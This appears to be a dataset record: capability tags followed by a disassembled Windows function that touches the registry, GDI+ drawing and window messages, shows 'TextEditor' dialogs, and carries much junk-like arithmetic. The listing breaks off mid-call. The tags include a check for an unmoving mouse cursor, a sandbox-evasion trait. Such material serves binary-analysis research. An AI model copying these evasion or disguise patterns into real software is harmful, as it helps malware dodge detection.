Function at 0x40a759
Capabilities:
Act as tcp client
Check for unmoving mouse cursor
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Get common file path
Get graphical window text
Initialize winsock library
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5268ce
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
mov eax, 0x3208
call fcn.00510000
push esi
push edi
and dword [ebp - 0x10], 0
movzx eax, byte [0x582928]
mov ecx, dword [0x582364]
sub ecx, eax
mov eax, dword [0x5826cc]
imul eax, dword [0x582958]
add ecx, dword [0x582934]
add eax, ecx
mov dword [0x58292c], eax
movzx eax, byte [0x581f70]
test eax, eax
jne 0x40a7c6
movzx eax, byte [0x581f70]
sub eax, dword [0x58295c]
mov dword [0x582944], eax
mov eax, dword [0x582360]
cdq
and edx, 0x1f
add eax, edx
sar eax, 5
add eax, dword [0x58292c]
sub eax, dword [0x58236c]
mov ecx, dword [0x582944]
imul ecx, dword [0x582934]
add eax, ecx
sub eax, dword [0x5826a8]
mov ecx, dword [0x5826bc]
sub ecx, eax
mov dword [0x5826bc], ecx
mov eax, dword [0x582948]
mov dword [ebp - 0x38], eax
mov eax, dword [0x58292c]
mov dword [ebp - 0x408], eax
and dword [ebp - 0x5c], 0
mov dword [ebp - 0x3fc], 0x3c
and dword [ebp - 0x68], 0
mov eax, dword [0x582964]
mov dword [ebp - 0xd8], eax
mov eax, dword [0x582960]
inc eax
mov dword [ebp - 0x180], eax
mov eax, dword [0x57c2b8]
add eax, dword [0x582944]
mov dword [ebp - 0x64], eax
mov eax, dword [0x582928]
sub eax, dword [0x58292c]
mov dword [ebp - 0x59c], eax
cmp dword [0x582948], 0
je 0x40a91a
mov eax, dword [0x582964]
mov dword [ebp - 0x5f0], eax
mov dword [ebp - 0x5f8], 4
mov dword [ebp - 0x600], 4
lea eax, [ebp - 0x5f4]
push eax
lea eax, [ebp - 0x5fc]
push eax
push 0
push 0x2001f
push 0
push 0
push 0
push 0x582250
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x40a91a
cmp dword [ebp - 0x5f0], 0
je 0x40a8e8
push dword [ebp - 0x600]
push 0x582250
push dword [ebp - 0x5f8]
push 0
push 0x538410
push dword [ebp - 0x5fc]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
jmp 0x40a90e
lea eax, [ebp - 0x600]
push eax
push 0x581f78
lea eax, [ebp - 0x5f8]
push eax
push 0
push 0x53841c
push dword [ebp - 0x5fc]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 0x5fc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [0x582964], 0
je 0x40ace7
mov eax, dword [ebp + 8]
mov dword [ebp - 0x604], eax
and dword [ebp - 0xe54], 0
mov ecx, dword [ebp - 0xe34]
call fcn.0040e3ab
mov dword [ebp - 0xe2c], eax
mov ecx, dword [ebp - 0xe34]
call fcn.0040e3de
mov dword [ebp - 0xe30], eax
push 0x10
call sub.gdiplus.dll_GdipAlloc
mov dword [ebp - 0x2ca0], eax
cmp dword [ebp - 0x2ca0], 0
je 0x40aa25
lea eax, [ebp - 0x2d40]
push eax
mov eax, dword [ebp - 0xe34]
push dword [eax + 4]
call sub.gdiplus.dll_GdipGetImagePixelFormat
mov dword [ebp - 0x2d44], eax
cmp dword [ebp - 0x2d44], 0
je 0x40a9a6
mov eax, dword [ebp - 0xe34]
mov ecx, dword [ebp - 0x2d44]
mov dword [eax + 8], ecx
mov eax, dword [ebp - 0x2d40]
mov dword [ebp - 0x2d48], eax
mov eax, dword [ebp - 0x2ca0]
mov dword [eax], vtable.Gdiplus::Image.0
mov eax, dword [ebp - 0x2ca0]
mov dword [eax], vtable.Gdiplus::Bitmap.0
and dword [ebp - 0x2d4c], 0
lea eax, [ebp - 0x2d4c]
push eax
push 0
push dword [ebp - 0x2d48]
push 0
push dword [ebp - 0xe30]
push dword [ebp - 0xe2c]
call sub.gdiplus.dll_GdipCreateBitmapFromScan0
mov ecx, dword [ebp - 0x2ca0]
mov dword [ecx + 8], eax
mov eax, dword [ebp - 0x2d4c]
mov dword [ebp - 0x2d50], eax
mov eax, dword [ebp - 0x2ca0]
mov ecx, dword [ebp - 0x2d50]
mov dword [eax + 4], ecx
mov eax, dword [ebp - 0x2ca0]
mov dword [ebp - 0x316c], eax
jmp 0x40aa2c
and dword [ebp - 0x316c], 0
mov eax, dword [ebp - 0x316c]
mov dword [ebp - 0x2c9c], eax
mov eax, dword [ebp - 0x2c9c]
mov dword [ebp - 0xe3c], eax
xor eax, eax
shl eax, 0x18
mov ecx, 0xff
shl ecx, 0x10
mov edx, 0xff
shl edx, 8
mov esi, 0xff
or esi, edx
or esi, ecx
or esi, eax
mov dword [ebp - 0xe58], esi
and dword [ebp - 0x2d54], 0
cmp dword [ebp - 0xe3c], 0
je 0x40aa95
lea eax, [ebp - 0x2d54]
push eax
mov eax, dword [ebp - 0xe3c]
push dword [eax + 4]
call sub.gdiplus.dll_GdipGetImageGraphicsContext
mov dword [ebp - 0xe64], eax
mov eax, dword [ebp - 0x2d54]
mov dword [ebp - 0xe68], eax
and dword [ebp - 4], 0
lea eax, [ebp - 0xe58]
push eax
lea ecx, [ebp - 0xe68]
call fcn.0040e229
cmp dword [ebp - 0xe34], 0
je 0x40aad1
mov eax, dword [ebp - 0xe34]
mov eax, dword [eax + 4]
mov dword [ebp - 0x3170], eax
jmp 0x40aad8
and dword [ebp - 0x3170], 0
push dword [ebp - 0xe30]
push dword [ebp - 0xe2c]
push 0
push 0
push dword [ebp - 0x3170]
push dword [ebp - 0xe68]
call sub.gdiplus.dll_GdipDrawImageRectI
mov dword [ebp - 0x2d64], eax
cmp dword [ebp - 0x2d64], 0
je 0x40ab24
mov eax, dword [ebp - 0x2d64]
mov dword [ebp - 0xe64], eax
mov eax, dword [ebp - 0x2d64]
mov dword [ebp - 0x2d68], eax
jmp 0x40ab30
mov eax, dword [ebp - 0x2d64]
mov dword [ebp - 0x2d68], eax
or dword [ebp - 4], 0xffffffff
push dword [ebp - 0xe68]
call sub.gdiplus.dll_GdipDeleteGraphics
call dword [sym.imp.USER32.dll_GetDesktopWindow]
mov dword [ebp - 0xe5c], eax
push dword [ebp - 0xe5c]
call dword [sym.imp.USER32.dll_GetDC]
mov dword [ebp - 0xe60], eax
and dword [ebp - 0xe38], 0
mov eax, dword [ebp - 0xe58]
mov dword [ebp - 0x2d6c], eax
push dword [ebp - 0x2d6c]
lea eax, [ebp - 0xe38]
push eax
mov eax, dword [ebp - 0xe3c]
push dword [eax + 4]
call sub.gdiplus.dll_GdipCreateHBITMAPFromBitmap
mov dword [ebp - 0x2d70], eax
cmp dword [ebp - 0x2d70], 0
je 0x40abb9
mov eax, dword [ebp - 0xe3c]
mov ecx, dword [ebp - 0x2d70]
mov dword [eax + 8], ecx
mov eax, dword [ebp - 0x2d70]
mov dword [ebp - 0x2d74], eax
jmp 0x40abc5
mov eax, dword [ebp - 0x2d70]
mov dword [ebp - 0x2d74], eax
push dword [ebp - 0xe30]
push dword [ebp - 0xe2c]
push dword [ebp - 0xe60]
call dword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
mov dword [ebp - 0xe28], eax
and dword [ebp - 0xe50], 0
xor eax, eax
lea edi, [ebp - 0xe4c]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov dword [ebp - 0xe50], 1
mov eax, dword [ebp - 0xe38]
mov dword [ebp - 0xe40], eax
mov eax, dword [ebp - 0xe28]
mov dword [ebp - 0xe44], eax
lea eax, [ebp - 0xe50]
push eax
call dword [sym.imp.USER32.dll_CreateIconIndirect]
mov dword [ebp - 0xe54], eax
push dword [ebp - 0xe28]
call dword [sym.imp.GDI32.dll_DeleteObject]
push dword [ebp - 0xe38]
call dword [sym.imp.GDI32.dll_DeleteObject]
push dword [ebp - 0xe60]
push dword [ebp - 0xe5c]
call dword [sym.imp.USER32.dll_ReleaseDC]
mov eax, dword [ebp - 0xe3c]
mov dword [ebp - 0x2ca8], eax
mov eax, dword [ebp - 0x2ca8]
mov dword [ebp - 0x2ca4], eax
cmp dword [ebp - 0x2ca4], 0
je 0x40ac90
push 1
mov eax, dword [ebp - 0x2ca4]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x2ca4]
call dword [eax]
mov dword [ebp - 0x3174], eax
jmp 0x40ac97
and dword [ebp - 0x3174], 0
and dword [ebp - 0xe3c], 0
mov eax, dword [ebp - 0xe34]
mov dword [ebp - 0x2cb0], eax
mov eax, dword [ebp - 0x2cb0]
mov dword [ebp - 0x2cac], eax
cmp dword [ebp - 0x2cac], 0
je 0x40acd9
push 1
mov eax, dword [ebp - 0x2cac]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x2cac]
call dword [eax]
mov dword [ebp - 0x3178], eax
jmp 0x40ace0
and dword [ebp - 0x3178], 0
and dword [ebp - 0xe34], 0
mov eax, dword [0x582948]
mov dword [ebp - 0xe78], eax
mov eax, dword [0x582964]
mov dword [ebp - 0xe70], eax
mov eax, dword [0x57c2b8]
mov dword [ebp - 0xe74], eax
mov eax, dword [0x582944]
mov dword [ebp - 0xe6c], eax
mov eax, dword [0x5829e0]
and eax, 1
jne 0x40ad6c
mov eax, dword [0x5829e0]
or eax, 1
mov dword [0x5829e0], eax
mov dword [ebp - 4], 1
lea eax, [ebp - 0x2d7d]
mov dword [ebp - 0x2d7c], eax
mov dword [ebp - 0x317c], 0x5829c4
mov byte [ebp - 4], 2
push 0
push 0
mov ecx, 0x5829c4
call fcn.0040f798
mov byte [ebp - 4], 1
push 0x533991
call fcn.0050f39f
pop ecx
or dword [ebp - 4], 0xffffffff
mov eax, dword [0x5829e0]
and eax, 2
jne 0x40adc5
mov eax, dword [0x5829e0]
or eax, 2
mov dword [0x5829e0], eax
mov dword [ebp - 4], 3
lea eax, [ebp - 0x2d89]
mov dword [ebp - 0x2d88], eax
mov dword [ebp - 0x3180], 0x5829a8
mov byte [ebp - 4], 4
push 0
push 0
mov ecx, 0x5829a8
call fcn.0040f798
mov byte [ebp - 4], 3
push 0x533957
call fcn.0050f39f
pop ecx
or dword [ebp - 4], 0xffffffff
mov eax, dword [0x5829e0]
and eax, 4
jne 0x40ae1e
mov eax, dword [0x5829e0]
or eax, 4
mov dword [0x5829e0], eax
mov dword [ebp - 4], 5
lea eax, [ebp - 0x2d95]
mov dword [ebp - 0x2d94], eax
mov dword [ebp - 0x3184], 0x58298c
mov byte [ebp - 4], 6
push 0
push 0
mov ecx, 0x58298c
call fcn.0040f798
mov byte [ebp - 4], 5
push 0x53391d
call fcn.0050f39f
pop ecx
or dword [ebp - 4], 0xffffffff
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
mov dword [ebp - 0xe7c], eax
mov eax, dword [ebp - 0xe70]
mov dword [ebp - 0x3188], eax
cmp dword [ebp - 0x3188], 1
je 0x40ae90
cmp dword [ebp - 0x3188], 2
je 0x40b3d5
cmp dword [ebp - 0x3188], 0xf
je 0x40aea6
cmp dword [ebp - 0x3188], 0x113
je 0x40b0ab
cmp dword [ebp - 0x3188], 0x201
je 0x40aea6
cmp dword [ebp - 0x3188], 0x204
je 0x40aea6
cmp dword [ebp - 0x3188], 0x31e
je 0x40aea6
jmp 0x40b440
push 0
push 0x32
push dword [0x57c2cc]
push dword [ebp - 0xe78]
call dword [sym.imp.USER32.dll_SetTimer]
lea eax, [ebp - 0xec4]
push eax
push dword [ebp - 0xe78]
call dword [sym.imp.USER32.dll_BeginPaint]
lea eax, [ebp - 0xedc]
push eax
push dword [ebp - 0xe78]
call dword [sym.imp.USER32.dll_GetClientRect]
mov eax, dword [ebp - 0xec4]
mov dword [ebp - 0x2da0], eax
and dword [ebp - 0x2d9c], 0
lea eax, [ebp - 0x2d9c]
push eax
push dword [ebp - 0x2da0]
call sub.gdiplus.dll_GdipCreateFromHDC
mov dword [ebp - 0xec8], eax
mov eax, dword [ebp - 0x2d9c]
mov dword [ebp - 0xecc], eax
mov dword [ebp - 4], 7
push 0x40
pop eax
shl eax, 0x18
mov ecx, 0xff
shl ecx, 0x10
mov edx, 0xff
shl edx, 8
mov esi, 0xff
or esi, edx
or esi, ecx
or esi, eax
mov dword [ebp - 0x2cb4], esi
mov eax, dword [ebp - 0x2cb4]
mov dword [ebp - 0x2da4], eax
push dword [ebp - 0x2da4]
push dword [ebp - 0xecc]
call sub.gdiplus.dll_GdipGraphicsClear
mov dword [ebp - 0x2da8], eax
cmp dword [ebp - 0x2da8], 0
je 0x40af79
mov eax, dword [ebp - 0x2da8]
mov dword [ebp - 0xec8], eax
mov eax, dword [ebp - 0x2da8]
mov dword [ebp - 0x2dac], eax
jmp 0x40af85
mov eax, dword [ebp - 0x2da8]
mov dword [ebp - 0x2dac], eax
mov esi, dword [ebp - 0xed4]
sub esi, dword [ebp - 0xedc]
mov ecx, dword [0x582988]
call fcn.0040e3ab
sub esi, eax
shr esi, 1
mov dword [ebp - 0xe84], esi
mov esi, dword [ebp - 0xed0]
sub esi, dword [ebp - 0xed8]
mov ecx, dword [0x582988]
call fcn.0040e3de
sub esi, eax
shr esi, 1
mov dword [ebp - 0xe80], esi
cmp dword [0x582988], 0
je 0x40b082
mov ecx, dword [0x582988]
call fcn.0040e3de
mov dword [ebp - 0x2de0], eax
mov ecx, dword [0x582988]
call fcn.0040e3ab
mov dword [ebp - 0x2ddc], eax
mov eax, dword [0x582988]
mov dword [ebp - 0x2dd8], eax
cmp dword [ebp - 0x2dd8], 0
je 0x40b01b
mov eax, dword [ebp - 0x2dd8]
mov eax, dword [eax + 4]
mov dword [ebp - 0x318c], eax
jmp 0x40b022
and dword [ebp - 0x318c], 0
push dword [ebp - 0x2de0]
push dword [ebp - 0x2ddc]
push dword [ebp - 0xe80]
push dword [ebp - 0xe84]
push dword [ebp - 0x318c]
push dword [ebp - 0xecc]
call sub.gdiplus.dll_GdipDrawImageRectI
mov dword [ebp - 0x2dd0], eax
cmp dword [ebp - 0x2dd0], 0
je 0x40b076
mov eax, dword [ebp - 0x2dd0]
mov dword [ebp - 0xec8], eax
mov eax, dword [ebp - 0x2dd0]
mov dword [ebp - 0x2dd4], eax
jmp 0x40b082
mov eax, dword [ebp - 0x2dd0]
mov dword [ebp - 0x2dd4], eax
lea eax, [ebp - 0xec4]
push eax
push dword [ebp - 0xe78]
call dword [sym.imp.USER32.dll_EndPaint]
or dword [ebp - 4], 0xffffffff
push dword [ebp - 0xecc]
call sub.gdiplus.dll_GdipDeleteGraphics
xor eax, eax
jmp 0x40e1d6
cmp dword [0x582984], 0
jne 0x40b270
mov dword [0x582984], 1
xor eax, eax
mov word [ebp - 0x10e4], ax
xor eax, eax
mov word [ebp - 0x12ec], ax
push 0x104
lea eax, [ebp - 0x10e4]
push eax
push dword [0x582980]
call dword [sym.imp.USER32.dll_GetClassNameW]
test eax, eax
je 0x40b10c
push 0x104
lea eax, [ebp - 0x12ec]
push eax
push dword [0x582980]
call dword [sym.imp.USER32.dll_GetWindowTextW]
test eax, eax
jne 0x40b118
push dword [ebp - 0xe78]
call dword [sym.imp.USER32.dll_DestroyWindow]
lea eax, [ebp - 0x10e4]
mov dword [ebp - 0x3190], eax
mov eax, dword [ebp - 0x3190]
add eax, 2
mov dword [ebp - 0x3194], eax
mov eax, dword [ebp - 0x3190]
mov ax, word [eax]
mov word [ebp - 0x3196], ax
add dword [ebp - 0x3190], 2
cmp word [ebp - 0x3196], 0
jne 0x40b133
mov eax, dword [ebp - 0x3190]
sub eax, dword [ebp - 0x3194]
sar eax, 1
mov dword [ebp - 0x319c], eax
push dword [ebp - 0x319c]
lea eax, [ebp - 0x10e4]
push eax
mov ecx, 0x5829a8
call fcn.0040f5b8
lea eax, [ebp - 0x12ec]
mov dword [ebp - 0x31a0], eax
mov eax, dword [ebp - 0x31a0]
add eax, 2
mov dword [ebp - 0x31a4], eax
mov eax, dword [ebp - 0x31a0]
mov ax, word [eax]
mov word [ebp - 0x31a6], ax
add dword [ebp - 0x31a0], 2
cmp word [ebp - 0x31a6], 0
jne 0x40b19a
mov eax, dword [ebp - 0x31a0]
sub eax, dword [ebp - 0x31a4]
sar eax, 1
mov dword [ebp - 0x31ac], eax
push dword [ebp - 0x31ac]
lea eax, [ebp - 0x12ec]
push eax
mov ecx, 0x58298c
call fcn.0040f5b8
cmp dword [0x582988], 0
je 0x40b237
mov eax, dword [0x582988]
mov dword [ebp - 0x2cbc], eax
mov eax, dword [ebp - 0x2cbc]
mov dword [ebp - 0x2cb8], eax
cmp dword [ebp - 0x2cb8], 0
je 0x40b229
push 1
mov eax, dword [ebp - 0x2cb8]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x2cb8]
call dword [eax]
mov dword [ebp - 0x31b0], eax
jmp 0x40b230
and dword [ebp - 0x31b0], 0
and dword [0x582988], 0
cmp dword [0x5829d8], 8
jb 0x40b24d
mov eax, dword [0x5829c4]
mov dword [ebp - 0x31b4], eax
jmp 0x40b257
mov dword [ebp - 0x31b4], 0x5829c4
push 0
push dword [ebp - 0x31b4]
call fcn.0040e270
pop ecx
pop ecx
mov dword [0x582988], eax
jmp 0x40b3ce
cmp dword [0x582980], 0
je 0x40b282
cmp dword [0x582988], 0
jne 0x40b289
xor eax, eax
jmp 0x40e1d6
lea eax, [ebp - 0x130c]
push eax
push dword [0x582980]
call dword [sym.imp.USER32.dll_GetWindowRect]
test eax, eax
jne 0x40b2a7
xor eax, eax
jmp 0x40e1d6
lea eax, [ebp - 0x12fc]
push eax
push dword [ebp - 0xe78]
call dword [sym.imp.USER32.dll_GetWindowRect]
push 0x582250
push 0x581f78
push dword [ebp - 0xe78]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_FindWindowExA]
mov dword [ebp - 0x1314], eax
push 0
push 0
push dword [ebp - 0xe78]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_FindWindowExA]
mov dword [ebp - 0x1310], eax
mov eax, dword [ebp - 0x1314]
cmp eax, dword [0x582980]
je 0x40b324
push 0x5b
push 0
push 0
push 0
push 0
push dword [ebp - 0xe78]
push dword [0x582980]
call dword [sym.imp.USER32.dll_SetWindowPos]
push 4
pop ecx
lea edi, [ebp - 0x12fc]
lea esi, [ebp - 0x130c]
xor eax, eax
repe cmpsd dword [esi], dword es:[edi]
jne 0x40b34e
mov eax, dword [ebp - 0x1310]
cmp eax, dword [0x582980]
jne 0x40b34e
xor eax, eax
jmp 0x40e1d6
push 4
pop ecx
lea edi, [ebp - 0x12fc]
lea esi, [ebp - 0x130c]
xor eax, eax
repe cmpsd dword [esi], dword es:[edi]
jne 0x40b378
mov eax, dword [ebp - 0x1314]
cmp eax, dword [0x582980]
jne 0x40b378
xor eax, eax
jmp 0x40e1d6
push 0x50
mov eax, dword [ebp - 0x1300]
sub eax, dword [ebp - 0x1308]
push eax
mov eax, dword [ebp - 0x1304]
sub eax, dword [ebp - 0x130c]
push eax
push dword [ebp - 0x1308]
push dword [ebp - 0x130c]
push dword [0x582980]
push dword [ebp - 0xe78]
call dword [sym.imp.USER32.dll_SetWindowPos]
push 0x5b
push 0
push 0
push 0
push 0
push dword [ebp - 0xe78]
push dword [0x582980]
call dword [sym.imp.USER32.dll_SetWindowPos]
xor eax, eax
jmp 0x40e1d6
cmp dword [0x582988], 0
je 0x40b426
mov eax, dword [0x582988]
mov dword [ebp - 0x2cc4], eax
mov eax, dword [ebp - 0x2cc4]
mov dword [ebp - 0x2cc0], eax
cmp dword [ebp - 0x2cc0], 0
je 0x40b418
push 1
mov eax, dword [ebp - 0x2cc0]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x2cc0]
call dword [eax]
mov dword [ebp - 0x31b8], eax
jmp 0x40b41f
and dword [ebp - 0x31b8], 0
and dword [0x582988], 0
push dword [0x57c2cc]
push dword [ebp - 0xe78]
call dword [sym.imp.USER32.dll_KillTimer]
push 0
call dword [sym.imp.USER32.dll_PostQuitMessage]
cmp dword [0x582964], 0
je 0x40b467
push dword [ebp - 0xe6c]
push dword [ebp - 0xe74]
push dword [ebp - 0xe70]
push dword [ebp - 0xe78]
call dword [sym.imp.USER32.dll_DefWindowProcA]
and dword [ebp - 0x1318], 0
mov dword [ebp - 0x1334], 1
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x1320], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x1328], eax
and dword [ebp - 0x132c], 0
mov dword [ebp - 0x1324], 1
mov dword [ebp - 0x1330], 2
and dword [ebp - 0x131c], 0
mov eax, dword [ebp - 0x1330]
cmp eax, dword [0x582964]
jbe 0x40b73f
lea eax, [ebp - 0x2e09]
mov dword [ebp - 0x2e08], eax
and dword [ebp - 0x1368], 0
and dword [ebp - 0x1364], 0
and dword [ebp - 0x1360], 0
lea eax, [ebp - 0x1368]
mov dword [ebp - 0x31bc], eax
mov dword [ebp - 4], 8
and dword [ebp - 0x1358], 0
and dword [ebp - 0x1338], 0
cmp dword [0x582934], 0
je 0x40b571
cmp dword [0x58293c], 0
jne 0x40b565
push 0
push str.TextEditor
push str.Failed_To_read_file
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push 0x538309
lea ecx, [ebp - 0x2ce0]
call fcn.0040f17a
mov byte [ebp - 4], 9
lea eax, [ebp - 0x2ce0]
push eax
lea ecx, [ebp - 0x1368]
call fcn.0040f432
mov byte [ebp - 4], 0xa
push 0
push 1
lea ecx, [ebp - 0x2ce0]
call fcn.0040f52b
mov byte [ebp - 4], 8
jmp 0x40b56c
and dword [0x57c2b8], 0
jmp 0x40b662
mov eax, dword [0x582948]
mov dword [ebp - 0x1478], eax
mov al, byte [0x582964]
mov byte [ebp - 0x1474], al
push 0x103
push 0
lea eax, [ebp - 0x1473]
push eax
call fcn.0050f760
add esp, 0xc
push 0
push dword [ebp - 0x1358]
call dword [sym.imp.USER32.dll_CreateAcceleratorTableA]
mov dword [0x582948], eax
lea eax, [ebp - 0x1474]
push eax
push str.Save_current_changes_in__s_
lea eax, [ebp - 0x15c4]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
cmp dword [0x582964], 0
je 0x40b5f5
push 0x23
push 0x582250
lea eax, [ebp - 0x15c4]
push eax
push dword [ebp - 0x1478]
call dword [sym.imp.USER32.dll_MessageBoxA]
mov dword [ebp - 0x15c8], eax
cmp dword [ebp - 0x15c8], 6
jne 0x40b625
push 0
push dword [0x57c2b8]
push 0x111
push dword [ebp - 0x1478]
call dword [sym.imp.USER32.dll_SendMessageA]
test eax, eax
jne 0x40b625
mov dword [ebp - 0x15c8], 2
push 0x53830a
lea ecx, [ebp - 0x2cfc]
call fcn.0040f17a
mov byte [ebp - 4], 0xb
lea eax, [ebp - 0x2cfc]
push eax
lea ecx, [ebp - 0x1368]
call fcn.0040f432
mov byte [ebp - 4], 0xc
push 0
push 1
lea ecx, [ebp - 0x2cfc]
call fcn.0040f52b
mov byte [ebp - 4], 8
cmp dword [0x582934], 0
jne 0x40b678
cmp dword [ebp - 0x1334], 0
je 0x40b729
cmp dword [ebp - 0x131c], 0
jne 0x40b729
mov eax, dword [0x582948]
mov ecx, dword [0x582964]
lea eax, [ecx + eax + 2]
imul eax, dword [0x57c2b8]
shl eax, 5
mov dword [0x582944], eax
lea eax, [ebp - 0x1354]
push eax
push dword [ebp - 0x1338]
push dword [ebp - 0x131c]
call dword [sym.imp.USER32.dll_TranslateAcceleratorA]
mov dword [0x58293c], eax
mov eax, dword [0x582928]
cmp eax, dword [0x58292c]
jg 0x40b6df
mov eax, dword [0x582964]
sub eax, dword [0x57c2b8]
mov dword [ebp - 0x1328], eax
lea eax, [ebp - 0x1354]
push eax
call dword [sym.imp.USER32.dll_TranslateMessage]
mov eax, dword [0x582948]
add eax, 0x64
sub eax, dword [0x58295c]
imul eax, dword [ebp - 0x1318]
mov ecx, dword [0x582964]
inc ecx
sub ecx, dword [ebp - 0x1334]
add eax, dword [ebp - 0x1320]
add ecx, eax
mov dword [0x58292c], ecx
cmp dword [ebp - 0x1330], 0
je 0x40b685
mov dword [ebp - 4], 0xd
lea ecx, [ebp - 0x1368]
call fcn.0040fc07
or dword [ebp - 4], 0xffffffff
cmp dword [0x5826b8], 0
jne 0x40b758
mov eax, dword [0x5826b8]
add eax, dword [0x57c2b8]
mov dword [0x5826b8], eax
cmp dword [0x582934], 0
jne 0x40b787
mov eax, dword [0x582950]
imul eax, dword [0x5826a4]
mov ecx, dword [0x58293c]
sub ecx, eax
add ecx, dword [0x581f70]
add ecx, dword [0x5826a0]
mov dword [0x5826a4], ecx
and dword [ebp - 0x1904], 0
mov dword [ebp - 0x1948], 1
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x190c], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x1918], eax
and dword [ebp - 0x1944], 0
mov dword [ebp - 0x1914], 1
and dword [ebp - 0x18f0], 0
mov eax, dword [0x582938]
imul eax, dword [0x582964]
push 0xe
pop ecx
sub ecx, eax
mov dword [ebp - 0x1930], ecx
and dword [ebp - 0x17d8], 0
mov eax, dword [0x582950]
imul eax, dword [0x582948]
add eax, 3
mov dword [ebp - 0x192c], eax
mov dword [ebp - 0x1910], 0xa
mov eax, dword [ebp - 0x1910]
sub eax, dword [0x582964]
mov dword [ebp - 0x1908], eax
mov byte [ebp - 0x18ec], 0
push 0xff
push 0
lea eax, [ebp - 0x18eb]
push eax
call fcn.0050f760
add esp, 0xc
and dword [ebp - 0x1900], 0
xor eax, eax
lea edi, [ebp - 0x18fc]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
and dword [ebp - 0x1940], 0
xor eax, eax
lea edi, [ebp - 0x193c]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
and dword [ebp - 0x17e8], 0
xor eax, eax
lea edi, [ebp - 0x17e4]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
xor eax, eax
mov word [ebp - 0x17d4], ax
push 0x206
push 0
lea eax, [ebp - 0x17d2]
push eax
call fcn.0050f760
add esp, 0xc
lea ecx, [ebp - 0x1928]
call fcn.0040f505
mov dword [ebp - 4], 0xe
mov dword [ebp - 0x2d08], 0xc2
mov dword [ebp - 0x2d0c], 0x6b
mov eax, dword [ebp - 0x2d0c]
mov dword [ebp - 0x2d04], eax
mov eax, dword [ebp - 0x2d08]
mov dword [ebp - 0x2d00], eax
push 0
lea eax, [ebp - 0x2d04]
push eax
lea ecx, [ebp - 0x1928]
call fcn.00413148
push eax
lea eax, [ebp - 0x2e50]
push eax
lea ecx, [ebp - 0x1928]
call fcn.00412ca7
mov eax, dword [ebp - 0x2e50]
mov dword [ebp - 0x2d10], eax
movzx eax, byte [0x58295c]
add eax, dword [ebp - 0x1948]
cmp eax, dword [0x582940]
jae 0x40b916
mov eax, dword [ebp - 0x1904]
mov dword [0x58292c], eax
jmp 0x40b93d
mov eax, dword [0x582938]
sub eax, dword [0x58295c]
movzx ecx, word [0x582950]
imul ecx, dword [ebp - 0x1914]
sub eax, ecx
add eax, dword [ebp - 0x1948]
mov dword [ebp - 0x1948], eax
mov eax, dword [0x582928]
mov dword [ebp - 0x2d18], eax
mov eax, dword [0x582938]
mov dword [ebp - 0x2d14], eax
push 0
lea eax, [ebp - 0x2d18]
push eax
lea ecx, [ebp - 0x1928]
call fcn.00413148
push eax
lea eax, [ebp - 0x2e58]
push eax
lea ecx, [ebp - 0x1928]
call fcn.00412ca7
mov eax, dword [ebp - 0x2e58]
mov dword [ebp - 0x2d1c], eax
mov eax, dword [ebp - 0x1920]
mov dword [ebp - 0x2e5c], eax
cmp dword [ebp - 0x2e5c], 0
jbe 0x40b9ec
fild dword [ebp - 0x18f8]
fstp dword [ebp - 0x2e60]
fld dword [ebp - 0x2e60]
call fcn.00510260
fstp dword [ebp - 0x31c0]
fld dword [ebp - 0x31c0]
fstp dword [ebp - 0x2e64]
mov eax, dword [0x582944]
cdq
push 0x19
pop ecx
idiv ecx
mov dword [ebp - 0x31c4], eax
fild dword [ebp - 0x31c4]
fsub dword [ebp - 0x2e64]
call fcn.0050fd40
mov dword [ebp - 0x1934], eax
mov eax, dword [ebp - 0x17e4]
cdq
push 0x13
pop ecx
idiv ecx
mov ecx, eax
movzx eax, byte [0x582944]
add ecx, eax
mov esi, dword [0x582950]
add esi, 0x59
mov eax, dword [ebp - 0x190c]
xor edx, edx
div esi
add ecx, eax
mov eax, dword [0x582958]
sub eax, dword [ebp - 0x1948]
cmp ecx, eax
jb 0x40ba3b
mov eax, dword [ebp - 0x1948]
sub eax, dword [ebp - 0x17e8]
mov dword [ebp - 0x1948], eax
jmp 0x40ba61
mov ecx, dword [ebp - 0x17e4]
sub ecx, dword [0x5826a0]
mov eax, dword [0x5820c4]
xor edx, edx
push 0x2b
pop esi
div esi
sub ecx, eax
sub ecx, dword [ebp - 0x17e8]
mov dword [0x582944], ecx
and dword [ebp - 0x194c], 0
jmp 0x40ba77
mov eax, dword [ebp - 0x194c]
inc eax
mov dword [ebp - 0x194c], eax
mov eax, dword [0x582964]
add eax, 0x1c
cmp dword [ebp - 0x194c], eax
jge 0x40bad8
movzx eax, byte [0x582958]
imul eax, dword [0x582940]
imul eax, dword [ebp - 0x1948]
mov ecx, dword [0x58293c]
imul ecx, dword [0x58295c]
add ecx, dword [0x582958]
add ecx, eax
mov dword [0x582958], ecx
push 0
push dword [0x582948]
push 0x64
push 0x64
push 0xa
push 0xa
push 0x40000000
push str.window
